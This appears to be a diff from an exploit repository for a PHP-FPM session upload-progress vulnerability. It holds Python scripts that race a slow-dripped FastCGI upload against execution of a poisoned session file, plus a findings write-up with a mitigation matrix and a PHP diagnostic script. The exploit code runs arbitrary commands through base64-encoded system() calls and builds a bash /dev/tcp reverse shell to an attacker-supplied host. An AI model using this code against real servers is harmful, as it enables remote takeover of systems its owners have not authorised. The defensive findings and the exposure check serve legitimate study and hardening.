"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
|
||||||
|
|
||||||
|
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
|
||||||
|
multipart body contains a file upload whose content is dripped byte
|
||||||
|
by byte, keeping the FPM worker in the multipart parser (which keeps
|
||||||
|
the session file on disk) for the entire drip_time.
|
||||||
|
|
||||||
|
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
|
||||||
|
pointing to the session file, racing to include it while worker A
|
||||||
|
holds it open.
|
||||||
|
"""
|
||||||
|
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
|
||||||
|
found = {"body": None, "path": None}
|
||||||
|
|
||||||
|
# Build the multipart body prefix: progress field + file header
|
||||||
|
body_prefix = b""
|
||||||
|
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||||
|
body_prefix += (
|
||||||
|
b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
# The suffix that closes the file part and the multipart
|
||||||
|
body_suffix = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
# Calculate total Content-Length (we need to declare it upfront)
|
||||||
|
# The file content will be dripped: we'll send drip_bytes of padding
|
||||||
|
drip_bytes = 1024 * 64
|
||||||
|
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
|
||||||
|
|
||||||
|
# ── Thread B: racer ──
|
||||||
|
def racer():
|
||||||
|
deadline = time.time() + timeout
|
||||||
|
attempt = 0
|
||||||
|
while time.time() < deadline and found["body"] is None:
|
||||||
|
for sp in session_paths:
|
||||||
|
if found["body"] is not None:
|
||||||
|
return
|
||||||
|
sess_file = f"{sp}/sess_{sid}"
|
||||||
|
attempt += 1
|
||||||
|
try:
|
||||||
|
body, _ = fpm_execute(fpm_addr, script_file,
|
||||||
|
sess_file, timeout=3)
|
||||||
|
if marker.encode() in body:
|
||||||
|
found["body"] = body
|
||||||
|
found["path"] = sess_file
|
||||||
|
return
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
time.sleep(0.005)
|
||||||
|
|
||||||
|
# ── Thread A: slow drip ──
|
||||||
|
fcgi_params_dict = {
|
||||||
|
"SCRIPT_FILENAME": script_file,
|
||||||
|
"SCRIPT_NAME": "/" + os.path.basename(script_file),
|
||||||
|
"REQUEST_METHOD": "POST",
|
||||||
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
|
||||||
|
"CONTENT_LENGTH": str(total_body),
|
||||||
|
"DOCUMENT_ROOT": os.path.dirname(script_file),
|
||||||
|
"REQUEST_URI": "/" + os.path.basename(script_file),
|
||||||
|
"HTTP_COOKIE": f"PHPSESSID={sid}",
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = 1
|
||||||
|
header = fcgi_begin_request(request_id)
|
||||||
|
header += fcgi_params(request_id, fcgi_params_dict)
|
||||||
|
|
||||||
|
# Send headers + body prefix as first STDIN record
|
||||||
|
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout=timeout)
|
||||||
|
sock.sendall(header + first_stdin)
|
||||||
|
|
||||||
|
# Small delay to let FPM start processing and write session file
|
||||||
|
time.sleep(0.2)
|
||||||
|
|
||||||
|
# Start the racer
|
||||||
|
race_thread = threading.Thread(target=racer, daemon=True)
|
||||||
|
race_thread.start()
|
||||||
|
|
||||||
|
# Drip file content slowly
|
||||||
|
drip_interval = drip_time / (drip_bytes // 64)
|
||||||
|
sent = 0
|
||||||
|
while sent < drip_bytes and found["body"] is None:
|
||||||
|
chunk = b"\x00" * min(64, drip_bytes - sent)
|
||||||
|
try:
|
||||||
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
|
||||||
|
sent += len(chunk)
|
||||||
|
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||||
|
break
|
||||||
|
time.sleep(drip_interval)
|
||||||
|
|
||||||
|
# Send suffix + STDIN EOF
|
||||||
|
try:
|
||||||
|
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
|
||||||
|
sock.sendall(fcgi_stdin_eof(request_id))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Read response (cleanup)
|
||||||
|
sock.settimeout(3)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
race_thread.join(timeout=5)
|
||||||
|
return found["body"], found["path"]
|
||||||
|
|
||||||
|
|
||||||
|
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
|
||||||
|
|
||||||
|
def _parse_url(url):
|
||||||
|
p = urlparse(url)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
return host, port, tls, path
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls=False, timeout=30):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def send_chunk(sock, data):
|
||||||
|
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Script discovery ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
SCRIPT_CANDIDATES = [
|
||||||
|
"/var/www/html/index.php",
|
||||||
|
"/var/www/html/wp-login.php",
|
||||||
|
"/var/www/html/wp-cron.php",
|
||||||
|
"/var/www/html/xmlrpc.php",
|
||||||
|
"/var/www/public/index.php",
|
||||||
|
"/var/www/app/public/index.php",
|
||||||
|
"/var/www/html/info.php",
|
||||||
|
"/srv/http/index.php",
|
||||||
|
"/usr/share/phpmyadmin/index.php",
|
||||||
|
"/usr/local/lib/php/pearcmd.php",
|
||||||
|
]
|
||||||
|
|
||||||
|
SESSION_PATHS = [
|
||||||
|
"/tmp",
|
||||||
|
"/tmp/php-sessions",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/var/lib/php/sess",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def find_php_script(fpm_addr, candidates, timeout=3):
|
||||||
|
"""Probe FPM to find an existing .php file."""
|
||||||
|
for path in candidates:
|
||||||
|
try:
|
||||||
|
params = {
|
||||||
|
"SCRIPT_FILENAME": path,
|
||||||
|
"REQUEST_METHOD": "GET",
|
||||||
|
"SERVER_SOFTWARE": "probe",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": "",
|
||||||
|
"CONTENT_LENGTH": "0",
|
||||||
|
}
|
||||||
|
request_id = 1
|
||||||
|
payload = fcgi_begin_request(request_id)
|
||||||
|
payload += fcgi_params(request_id, params)
|
||||||
|
payload += fcgi_stdin_eof(request_id)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout)
|
||||||
|
sock.sendall(payload)
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(65536)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
stdout, _ = fcgi_parse_stdout(resp)
|
||||||
|
if b"Primary script unknown" not in stdout and len(stdout) > 0:
|
||||||
|
return path
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ── main ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
fpm_addr = args.fpm
|
||||||
|
sid = args.session_id or os.urandom(16).hex()
|
||||||
|
marker = "FCGIRCE"
|
||||||
|
|
||||||
|
spaths = list(SESSION_PATHS)
|
||||||
|
if args.session_path:
|
||||||
|
spaths = [args.session_path] + [s for s in spaths
|
||||||
|
if s != args.session_path]
|
||||||
|
|
||||||
|
if args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = (
|
||||||
|
f'<?php echo "{marker}:";'
|
||||||
|
f'system(base64_decode("{cmd_b64}"));'
|
||||||
|
f'echo ":{marker}END"; ?>'
|
||||||
|
).encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = (f"bash -c 'bash -i >& "
|
||||||
|
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
elif args.trigger_only:
|
||||||
|
php_code = (
|
||||||
|
f'<?php echo "{marker}:pid=".getmypid().'
|
||||||
|
f'"&uname=".php_uname().":{marker}END"; ?>'
|
||||||
|
).encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
|
||||||
|
file=sys.stderr)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" FPM address : {fpm_addr}")
|
||||||
|
print(f" Session ID : {sid}")
|
||||||
|
print(f" Drip time : {args.drip_time}s")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
else:
|
||||||
|
print(f" Trigger-only")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Step 0: find a .php script ──
|
||||||
|
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
|
||||||
|
script_file = args.script_file
|
||||||
|
if not script_file:
|
||||||
|
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
|
||||||
|
if script_file:
|
||||||
|
print(f" Found: {script_file}")
|
||||||
|
else:
|
||||||
|
print(" [!] No .php file found. Use --script-file.")
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print(f" Using: {script_file}")
|
||||||
|
|
||||||
|
# ── Step 1+2: poison via slow drip + race execution ──
|
||||||
|
print(f"[*] Step 1+2: slow-drip poison + race execution...")
|
||||||
|
print(f" Dripping multipart body over {args.drip_time}s "
|
||||||
|
f"while racing auto_prepend_file...")
|
||||||
|
|
||||||
|
body, path = poison_and_execute_fcgi(
|
||||||
|
fpm_addr, script_file, sid, php_code,
|
||||||
|
spaths, marker,
|
||||||
|
drip_time=args.drip_time,
|
||||||
|
timeout=args.drip_time + 10)
|
||||||
|
|
||||||
|
if body:
|
||||||
|
print(f" [+] RCE confirmed via {path}")
|
||||||
|
output = body.decode(errors="replace")
|
||||||
|
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
|
||||||
|
if m:
|
||||||
|
print()
|
||||||
|
print(m.group(1))
|
||||||
|
else:
|
||||||
|
print()
|
||||||
|
print(output)
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(" [!] Race did not succeed.")
|
||||||
|
print(" Possible causes:")
|
||||||
|
print(" - pm.max_children < 2 (need at least 2 workers)")
|
||||||
|
print(" - session.upload_progress.enabled = 0")
|
||||||
|
print(" - Incorrect session.save_path (try --session-path)")
|
||||||
|
print(" - Try increasing --drip-time")
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||||
|
p.add_argument("--fpm", required=True,
|
||||||
|
help="PHP-FPM address (host:port or /path/to/socket)")
|
||||||
|
p.add_argument("-t", "--target",
|
||||||
|
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
|
||||||
|
p.add_argument("--script-file",
|
||||||
|
help="Existing .php file on target (auto-detected)")
|
||||||
|
p.add_argument("--session-path",
|
||||||
|
help="session.save_path override")
|
||||||
|
p.add_argument("--session-id",
|
||||||
|
help="Force session ID (default: random)")
|
||||||
|
p.add_argument("--cmd", help="Command to execute")
|
||||||
|
p.add_argument("--lhost", help="Reverse shell host")
|
||||||
|
p.add_argument("--lport", type=int, help="Reverse shell port")
|
||||||
|
p.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Verify RCE without running a payload")
|
||||||
|
p.add_argument("--drip-time", type=int, default=10,
|
||||||
|
help="Seconds to drip the upload body (default: 10)")
|
||||||
|
sys.exit(0 if run(p.parse_args()) else 1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,169 @@
|
|||||||
|
# RCE Without LFI — Findings
|
||||||
|
|
||||||
|
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
|
||||||
|
write primitive) be turned into RCE **without any include() primitive in the
|
||||||
|
application**?
|
||||||
|
|
||||||
|
Short answer: not through the session decoder — PHP never unserializes attacker
|
||||||
|
bytes off the session file, and four independent guards close that route. But
|
||||||
|
yes through a different consumer: **PHP-FPM's own request routing**. When
|
||||||
|
`session.save_path` is web-served, the poisoned session file is directly
|
||||||
|
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
|
||||||
|
soon as `security.limit_extensions` is empty. No application code runs at any
|
||||||
|
point; the poison fires even on 404 URLs.
|
||||||
|
|
||||||
|
Everything below was verified against a local php-fpm 8.5.11 build plus the
|
||||||
|
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
|
||||||
|
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
|
||||||
|
|
||||||
|
## Part 1: why session deserialization is a dead end
|
||||||
|
|
||||||
|
The obvious no-LFI consumer is `session_start()` itself: it decodes the
|
||||||
|
poisoned file on the next request. If the decoded stream could be made to
|
||||||
|
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
|
||||||
|
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
|
||||||
|
|
||||||
|
**1. The `|` guard aborts the whole write** (php handler, the default).
|
||||||
|
|
||||||
|
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
|
||||||
|
|
||||||
|
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
|
||||||
|
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
|
||||||
|
... return NULL; /* session.c:993-998 in 8.3 */
|
||||||
|
|
||||||
|
and `php_session_save_current_state()` then writes the **empty string** instead
|
||||||
|
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
|
||||||
|
appended verbatim (session.c:3144-3145, no per-character filtering — the README
|
||||||
|
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
|
||||||
|
value kills the write entirely.
|
||||||
|
|
||||||
|
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
|
||||||
|
exists with **0 bytes**. No object, no data.
|
||||||
|
|
||||||
|
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
|
||||||
|
loop splits at the first `|` and unserializes only the value side
|
||||||
|
(session.c:1024-1048). The value side is always the well-formed progress array
|
||||||
|
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
|
||||||
|
bytes land in the key, which becomes a plain `$_SESSION` array key.
|
||||||
|
|
||||||
|
**3. Other serializers are aligned or escaped.**
|
||||||
|
- `php_serialize`: key passes through `php_var_serialize` escaping
|
||||||
|
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
|
||||||
|
aligned `unserialize()`.
|
||||||
|
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
|
||||||
|
`continue`), decode is length-prefixed.
|
||||||
|
- `wddx`: XML, can only produce scalars/arrays.
|
||||||
|
|
||||||
|
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
|
||||||
|
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
|
||||||
|
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
|
||||||
|
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
|
||||||
|
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
|
||||||
|
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
|
||||||
|
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
|
||||||
|
"Session ID is too long or contains illegal characters" and no file.
|
||||||
|
|
||||||
|
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
|
||||||
|
save handler is configured. `mod_files` is the only built-in that validates.
|
||||||
|
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
|
||||||
|
whether they sanitize before building store keys is deployment-dependent and
|
||||||
|
was **not verified** here; for redis-style handlers a CRLF-capable SID is
|
||||||
|
protocol injection, which is a separate research thread.
|
||||||
|
|
||||||
|
## Part 2: what works — php-fpm consumes the file itself
|
||||||
|
|
||||||
|
The no-LFI consumer is not PHP code, it is the **request router**:
|
||||||
|
|
||||||
|
1. **The poison does not need the application.** The rfc1867 callback runs
|
||||||
|
inside the SAPI POST reader, before script dispatch. A multipart POST to a
|
||||||
|
URL whose script does not exist (fpm answers 404) still writes the poisoned
|
||||||
|
session file. Verified: POST to `/nonexistent.php` → file written. This
|
||||||
|
means *any* PHP-handled vhost URL is a valid injection endpoint.
|
||||||
|
|
||||||
|
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
|
||||||
|
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
|
||||||
|
refuses it: `Access denied.` from `security.limit_extensions` (verified).
|
||||||
|
But with **`security.limit_extensions` empty** — a very common production
|
||||||
|
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
|
||||||
|
|
||||||
|
GET /sessions/sess_<SID>/x.php?c=id
|
||||||
|
|
||||||
|
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
|
||||||
|
prefix as the script, and fpm executes the extensionless session file with
|
||||||
|
`PATH_INFO=/x.php`.
|
||||||
|
|
||||||
|
Verified end-to-end against php-fpm 8.5.11: the session file
|
||||||
|
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
|
||||||
|
returned `uid=1000(...)`. Both limit_extensions states tested.
|
||||||
|
|
||||||
|
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
|
||||||
|
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
|
||||||
|
options:
|
||||||
|
- `cleanup=0` — file persists with `done=1`; no race needed.
|
||||||
|
- **Streaming request bodies** (Apache mod_php, nginx
|
||||||
|
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
|
||||||
|
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
|
||||||
|
as the upload is dripped. Verified: slow FCGI drip, execution request hit
|
||||||
|
during the window on the first poll.
|
||||||
|
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
|
||||||
|
parses; the window is only the parse time — measured ~16 ms for a 7 MB
|
||||||
|
body. Detection may land, follow-up commands usually miss. Not reliable.
|
||||||
|
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
|
||||||
|
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
|
||||||
|
runs, and the poisoned file persists. Requires the OOM body to fit under
|
||||||
|
`post_max_size` while exceeding `memory_limit` headroom (i.e.
|
||||||
|
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
|
||||||
|
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
|
||||||
|
persisted, pathinfo execution returned command output.
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
`exploit_nolfi.py` implements the chain with auto-detection:
|
||||||
|
|
||||||
|
- `--probe` classifies each candidate URL prefix: not served / served only
|
||||||
|
(source disclosure) / fully executable.
|
||||||
|
- Default mode poisons + races the upload window while polling execution
|
||||||
|
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
|
||||||
|
calm execution if the file persisted.
|
||||||
|
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
|
||||||
|
`--fields` / `--fsize`).
|
||||||
|
|
||||||
|
## Updated mitigation matrix
|
||||||
|
|
||||||
|
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
|
||||||
|
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
|
||||||
|
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
|
||||||
|
| + limit_extensions=`.php .phar` | — | — | — | OK |
|
||||||
|
| + save_path outside docroot / not served | — | — | — | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK | **FAIL** |
|
||||||
|
|
||||||
|
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
|
||||||
|
application file-inclusion at all.
|
||||||
|
|
||||||
|
## Recommendations (additions to the existing list)
|
||||||
|
|
||||||
|
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||||
|
(do not leave it empty).
|
||||||
|
6. Keep `session.save_path` outside any web-served tree; audit for alias or
|
||||||
|
`location` blocks that expose it.
|
||||||
|
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
|
||||||
|
|
||||||
|
## Test log (local rig)
|
||||||
|
|
||||||
|
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
|
||||||
|
an nginx-equivalent gateway (static files + `location ~ \.php$` +
|
||||||
|
fix_pathinfo semantics).
|
||||||
|
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
|
||||||
|
exec → interactive command loop. Confirmed RCE.
|
||||||
|
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
|
||||||
|
during upload window on first poll. Confirmed RCE.
|
||||||
|
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
|
||||||
|
persisted, exec confirmed. Confirmed RCE.
|
||||||
|
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
|
||||||
|
frequently succeeds, sustained command execution unreliable. Documented.
|
||||||
|
- `security.limit_extensions=.php .phar` (default): all execution attempts
|
||||||
|
blocked with "Access denied". Confirmed mitigation.
|
||||||
|
- Session deserialization injection (`|` in progress key): 0-byte file,
|
||||||
|
no unserialization. Confirmed dead end.
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
<?php
|
||||||
|
// Deployment diagnostic for the no-LFI session attack surface.
|
||||||
|
// Drop on the target, request once, then REMOVE it.
|
||||||
|
//
|
||||||
|
// Reports whether the two preconditions of the served-path chain hold:
|
||||||
|
// 1. session.save_path is inside (or aliased to) a web-served tree
|
||||||
|
// 2. security.limit_extensions is empty (fpm would execute
|
||||||
|
// extensionless session files via PATH_INFO)
|
||||||
|
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
|
||||||
|
$sp = session_save_path();
|
||||||
|
if ($sp === '') {
|
||||||
|
$sp = sys_get_temp_dir();
|
||||||
|
}
|
||||||
|
// strip the optional "N;/path" depth prefix
|
||||||
|
if (($p = strrchr($sp, ';')) !== false) {
|
||||||
|
$sp = substr($p, 1);
|
||||||
|
}
|
||||||
|
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
|
||||||
|
$real_sp = realpath($sp) ?: $sp;
|
||||||
|
$real_doc = realpath($doc) ?: $doc;
|
||||||
|
|
||||||
|
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
|
||||||
|
$le = ini_get('security.limit_extensions');
|
||||||
|
$sapi = php_sapi_name();
|
||||||
|
|
||||||
|
echo "sapi = {$sapi}\n";
|
||||||
|
echo "session.save_path = {$sp}\n";
|
||||||
|
echo "DOCUMENT_ROOT = {$doc}\n";
|
||||||
|
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
|
||||||
|
echo "security.limit_extensions = [" . $le . "]\n";
|
||||||
|
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
|
||||||
|
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
|
||||||
|
echo "memory_limit = " . ini_get('memory_limit') . "\n";
|
||||||
|
echo "post_max_size = " . ini_get('post_max_size') . "\n";
|
||||||
|
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
|
||||||
|
|
||||||
|
$verdict = array();
|
||||||
|
if (ini_get('session.upload_progress.enabled')) {
|
||||||
|
if ($under_doc) {
|
||||||
|
$verdict[] = "save_path is web-served: session files are requestable";
|
||||||
|
}
|
||||||
|
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
|
||||||
|
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($verdict) {
|
||||||
|
echo "\nEXPOSED:\n";
|
||||||
|
foreach ($verdict as $v) {
|
||||||
|
echo " - {$v}\n";
|
||||||
|
}
|
||||||
|
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
|
||||||
|
} else {
|
||||||
|
echo "\nNo served-path exposure detected.\n";
|
||||||
|
}
|
||||||
@@ -0,0 +1,590 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
|
||||||
|
("served save_path" chain)
|
||||||
|
|
||||||
|
Every other exploit in this repo needs an include() primitive in the
|
||||||
|
application to execute the poisoned session file. This one does not.
|
||||||
|
It turns the session upload progress write primitive into RCE using only
|
||||||
|
PHP-FPM request routing:
|
||||||
|
|
||||||
|
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
|
||||||
|
<save_path>/sess_<SID> during multipart parsing. This fires even on
|
||||||
|
URLs that do not exist (404), because rfc1867 processing happens in
|
||||||
|
the SAPI POST reader before script dispatch. No session_start(),
|
||||||
|
no application code involved.
|
||||||
|
|
||||||
|
2. If session.save_path lives under a web-served directory, the session
|
||||||
|
file is directly requestable over HTTP.
|
||||||
|
|
||||||
|
3. php-fpm executes the (extension-less) session file when the request
|
||||||
|
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
|
||||||
|
— the classic nginx cgi.fix_pathinfo routing. The only gate is
|
||||||
|
security.limit_extensions, whose compiled default (.php .phar) blocks
|
||||||
|
it but which is frequently set empty in real deployments. Verified
|
||||||
|
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
|
||||||
|
|
||||||
|
4. session.upload_progress.cleanup=1 (default) truncates the file when
|
||||||
|
the upload finishes, so execution is raced against the upload window
|
||||||
|
with a slow multipart body. With cleanup=0 the file persists and no
|
||||||
|
race is needed.
|
||||||
|
|
||||||
|
Preconditions (all defaults unless noted):
|
||||||
|
- session.upload_progress.enabled=1
|
||||||
|
- PHP-FPM with session.save_path web-served
|
||||||
|
- security.limit_extensions empty (non-default; common in the wild)
|
||||||
|
- any PHP-handled URL on the vhost, including 404s
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --probe
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
MARKER = "NOLFIMARK"
|
||||||
|
|
||||||
|
DEFAULT_URL_PREFIXES = [
|
||||||
|
"/sessions",
|
||||||
|
"/tmp",
|
||||||
|
"/var/lib/php/sessions",
|
||||||
|
"/var/lib/php/session",
|
||||||
|
"/var/lib/php5/sessions",
|
||||||
|
"/sess",
|
||||||
|
"/storage/sessions",
|
||||||
|
"/files/sessions",
|
||||||
|
]
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# HTTP helpers (raw sockets, same style as the other exploits)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _parse_url(url: str):
|
||||||
|
